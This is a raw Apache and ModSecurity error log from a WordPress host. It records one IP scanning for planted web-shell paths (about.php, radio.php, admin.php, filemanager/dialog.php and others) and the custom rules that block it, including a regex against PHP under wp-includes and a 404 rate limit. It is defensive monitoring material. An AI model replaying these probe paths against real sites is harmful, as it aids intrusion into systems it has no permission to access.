[Thu Dec 11 20:42:45.648722 2025] [:error] [pid 27459:tid 27480] [client 52.230.86.213:51700] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aTq8RVhPEXihPBKMpRNeOwAAARM"]
[Thu Dec 11 20:42:45.829429 2025] [:error] [pid 27459:tid 27471] [client 52.230.86.213:57300] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aTq8RVhPEXihPBKMpRNePQAAAQo"]
[Thu Dec 11 20:42:46.052528 2025] [:error] [pid 24527:tid 24572] [client 52.230.86.213:60337] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aTq8Rl9_glvtS5vXiTUHeQAAApA"]
[Thu Dec 11 20:42:46.227327 2025] [:error] [pid 35112:tid 35137] [client 52.230.86.213:62376] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aTq8Rp9ZpQ0WIeJhsJdrFwAAAVc"]
[Thu Dec 11 20:42:46.402587 2025] [:error] [pid 58099:tid 58106] [client 52.230.86.213:51051] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aTq8RsKZVSF_bdPFqRgYFAAAAMU"]
[Thu Dec 11 20:42:46.576240 2025] [:error] [pid 58099:tid 58122] [client 52.230.86.213:18802] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aTq8RsKZVSF_bdPFqRgYFQAAANU"]
[Thu Dec 11 20:42:46.763185 2025] [:error] [pid 58099:tid 58107] [client 52.230.86.213:51704] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aTq8RsKZVSF_bdPFqRgYFgAAAMY"]
[Thu Dec 11 20:42:46.938287 2025] [:error] [pid 57990:tid 58009] [client 52.230.86.213:51033] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aTq8RgqZT_dc36fQdXGD5wAAAA4"]
[Thu Dec 11 20:42:47.113896 2025] [:error] [pid 58099:tid 58117] [client 52.230.86.213:60289] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aTq8R8KZVSF_bdPFqRgYGAAAANA"]
[Thu Dec 11 20:42:47.289860 2025] [:error] [pid 27459:tid 27482] [client 52.230.86.213:62415] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aTq8R1hPEXihPBKMpRNePwAAARU"]
[Thu Dec 11 20:42:47.475007 2025] [:error] [pid 27459:tid 27462] [client 52.230.86.213:51674] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aTq8R1hPEXihPBKMpRNeQgAAAQE"]
[Thu Dec 11 20:42:47.651357 2025] [:error] [pid 27459:tid 27485] [client 52.230.86.213:49225] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aTq8R1hPEXihPBKMpRNeRAAAARg"]
[Thu Dec 11 20:42:47.826104 2025] [:error] [pid 27459:tid 27479] [client 52.230.86.213:18851] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aTq8R1hPEXihPBKMpRNeRwAAARI"]
[Thu Dec 11 20:42:57.065559 2025] [autoindex:error] [pid 24527:tid 24573] [client 52.230.86.213:18843] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Dec 11 20:42:57.154603 2025] [:error] [pid 48261:tid 48268] [client 52.230.86.213:57335] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aTq8UeyPI4WU-4JmiQPAvQAAAYQ"]
[Thu Dec 11 20:43:05.438147 2025] [:error] [pid 24483:tid 24496] [client 52.230.86.213:45400] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aTq8WVGHKh2d_uVkopRfigAAAgs"]
[Thu Dec 11 20:43:17.412962 2025] [proxy_fcgi:error] [pid 27459:tid 27470] [client 52.230.86.213:61203] AH01071: Got error 'Primary script unknown'
[Thu Dec 11 20:43:27.086108 2025] [:error] [pid 27459:tid 27467] [client 52.230.86.213:61203] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aTq8b1hPEXihPBKMpRNeaQAAAQY"]
[Thu Dec 11 20:43:27.337140 2025] [:error] [pid 57991:tid 58025] [client 52.230.86.213:59786] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aTq8b6PyGmNXA2ZsETa3IgAAAEM"]
[Thu Dec 11 20:43:27.643352 2025] [:error] [pid 57992:tid 58071] [client 52.230.86.213:55678] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aTq8b-Ueau0BMFF2vHmyigAAAJY"]
[Thu Dec 11 20:43:27.919904 2025] [:error] [pid 57991:tid 58027] [client 52.230.86.213:49770] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aTq8b6PyGmNXA2ZsETa3IwAAAEU"]
[Thu Dec 11 20:43:28.131785 2025] [:error] [pid 57991:tid 58045] [client 52.230.86.213:59810] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aTq8cKPyGmNXA2ZsETa3JAAAAFc"]
[Thu Dec 11 20:43:28.418880 2025] [:error] [pid 58099:tid 58108] [client 52.230.86.213:64281] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aTq8cMKZVSF_bdPFqRgYMgAAAMc"]
[Thu Dec 11 20:43:28.655703 2025] [:error] [pid 58814:tid 58832] [client 52.230.86.213:47095] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aTq8cNiz0l9AD_3pkMw0CgAAAdA"]
[Thu Dec 11 20:43:28.860190 2025] [:error] [pid 24483:tid 24503] [client 52.230.86.213:51058] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aTq8cFGHKh2d_uVkopRfmAAAAhI"]
[Thu Dec 11 20:43:29.146162 2025] [:error] [pid 35112:tid 35137] [client 52.230.86.213:58571] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aTq8cZ9ZpQ0WIeJhsJdrOgAAAVc"]
[Thu Dec 11 20:43:29.342227 2025] [:error] [pid 24483:tid 24493] [client 52.230.86.213:58574] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aTq8cVGHKh2d_uVkopRfmQAAAgg"]
[Thu Dec 11 20:43:29.527594 2025] [:error] [pid 57990:tid 58000] [client 52.230.86.213:49765] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aTq8cQqZT_dc36fQdXGEAwAAAAU"]
[Thu Dec 11 20:43:29.806715 2025] [:error] [pid 24527:tid 24573] [client 52.230.86.213:64271] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aTq8cV9_glvtS5vXiTUH1gAAApE"]
[Thu Dec 11 20:43:30.020725 2025] [:error] [pid 35112:tid 35133] [client 52.230.86.213:55617] [client 52.230.86.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aTq8cp9ZpQ0WIeJhsJdrOwAAAVM"]
[Thu Dec 11 20:43:30.266167 2025] [:error] [pid 24483:tid 24504] [client 52.230.86.213:59783] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aTq8clGHKh2d_uVkopRfnAAAAhM"]
[Thu Dec 11 20:43:30.619213 2025] [:error] [pid 58099:tid 58109] [client 52.230.86.213:55625] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aTq8csKZVSF_bdPFqRgYNAAAAMg"]
[Thu Dec 11 20:43:30.954446 2025] [:error] [pid 58814:tid 58823] [client 52.230.86.213:49777] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aTq8ctiz0l9AD_3pkMw0DQAAAcc"]
[Thu Dec 11 20:43:31.191078 2025] [:error] [pid 58814:tid 58821] [client 52.230.86.213:53675] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aTq8c9iz0l9AD_3pkMw0DgAAAcU"]
[Thu Dec 11 20:43:31.598363 2025] [:error] [pid 58814:tid 58833] [client 52.230.86.213:64261] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTq8c9iz0l9AD_3pkMw0DwAAAdE"]
[Thu Dec 11 20:43:31.816695 2025] [:error] [pid 58814:tid 58824] [client 52.230.86.213:47058] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTq8c9iz0l9AD_3pkMw0EAAAAcg"]
[Thu Dec 11 20:43:32.025158 2025] [:error] [pid 24527:tid 24564] [client 52.230.86.213:49785] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTq8dF9_glvtS5vXiTUH2AAAAog"]
[Thu Dec 11 20:43:32.285602 2025] [:error] [pid 58814:tid 58820] [client 52.230.86.213:49744] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTq8dNiz0l9AD_3pkMw0EgAAAcQ"]
[Thu Dec 11 20:43:32.508153 2025] [:error] [pid 24527:tid 24568] [client 52.230.86.213:53666] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aTq8dF9_glvtS5vXiTUH2QAAAow"]
[Thu Dec 11 20:43:32.706903 2025] [:error] [pid 57991:tid 58036] [client 52.230.86.213:55642] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aTq8dKPyGmNXA2ZsETa3JwAAAE4"]
[Thu Dec 11 20:43:32.987322 2025] [:error] [pid 24483:tid 24492] [client 52.230.86.213:47043] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aTq8dFGHKh2d_uVkopRfoAAAAgc"]
[Thu Dec 11 20:43:33.178882 2025] [:error] [pid 24483:tid 24496] [client 52.230.86.213:51674] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aTq8dVGHKh2d_uVkopRfoQAAAgs"]
[Thu Dec 11 20:43:33.363722 2025] [:error] [pid 35112:tid 35114] [client 52.230.86.213:58582] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aTq8dZ9ZpQ0WIeJhsJdrPQAAAUA"]
[Thu Dec 11 20:43:33.640954 2025] [:error] [pid 24483:tid 24502] [client 52.230.86.213:53688] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aTq8dVGHKh2d_uVkopRfowAAAhE"]
[Thu Dec 11 20:43:33.831853 2025] [:error] [pid 24483:tid 24494] [client 52.230.86.213:49748] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aTq8dVGHKh2d_uVkopRfpAAAAgk"]
[Thu Dec 11 20:43:34.047453 2025] [:error] [pid 58814:tid 58837] [client 52.230.86.213:47056] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aTq8dtiz0l9AD_3pkMw0FQAAAdU"]
[Thu Dec 11 20:43:34.274856 2025] [:error] [pid 35112:tid 35116] [client 52.230.86.213:59815] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aTq8dp9ZpQ0WIeJhsJdrPgAAAUI"]
[Thu Dec 11 20:43:34.699600 2025] [:error] [pid 57991:tid 58041] [client 52.230.86.213:59827] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aTq8dqPyGmNXA2ZsETa3KQAAAFM"]
[Thu Dec 11 20:43:35.081662 2025] [:error] [pid 27459:tid 27465] [client 52.230.86.213:47103] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aTq8d1hPEXihPBKMpRNebQAAAQQ"]
[Thu Dec 11 20:43:35.282497 2025] [:error] [pid 48261:tid 48286] [client 52.230.86.213:55672] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aTq8d-yPI4WU-4JmiQPA3QAAAZY"]
[Thu Dec 11 20:43:35.475175 2025] [:error] [pid 48261:tid 48276] [client 52.230.86.213:47044] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aTq8d-yPI4WU-4JmiQPA3gAAAYw"]
[Thu Dec 11 20:43:35.707117 2025] [:error] [pid 57991:tid 58033] [client 52.230.86.213:49731] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aTq8d6PyGmNXA2ZsETa3KgAAAEs"]
[Thu Dec 11 20:43:35.927418 2025] [:error] [pid 57991:tid 58029] [client 52.230.86.213:53654] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aTq8d6PyGmNXA2ZsETa3LAAAAEc"]
[Thu Dec 11 20:43:36.155836 2025] [:error] [pid 24527:tid 24579] [client 52.230.86.213:64287] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aTq8eF9_glvtS5vXiTUH3gAAApc"]
[Thu Dec 11 20:43:36.359814 2025] [:error] [pid 24527:tid 24565] [client 52.230.86.213:53637] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aTq8eF9_glvtS5vXiTUH4AAAAok"]
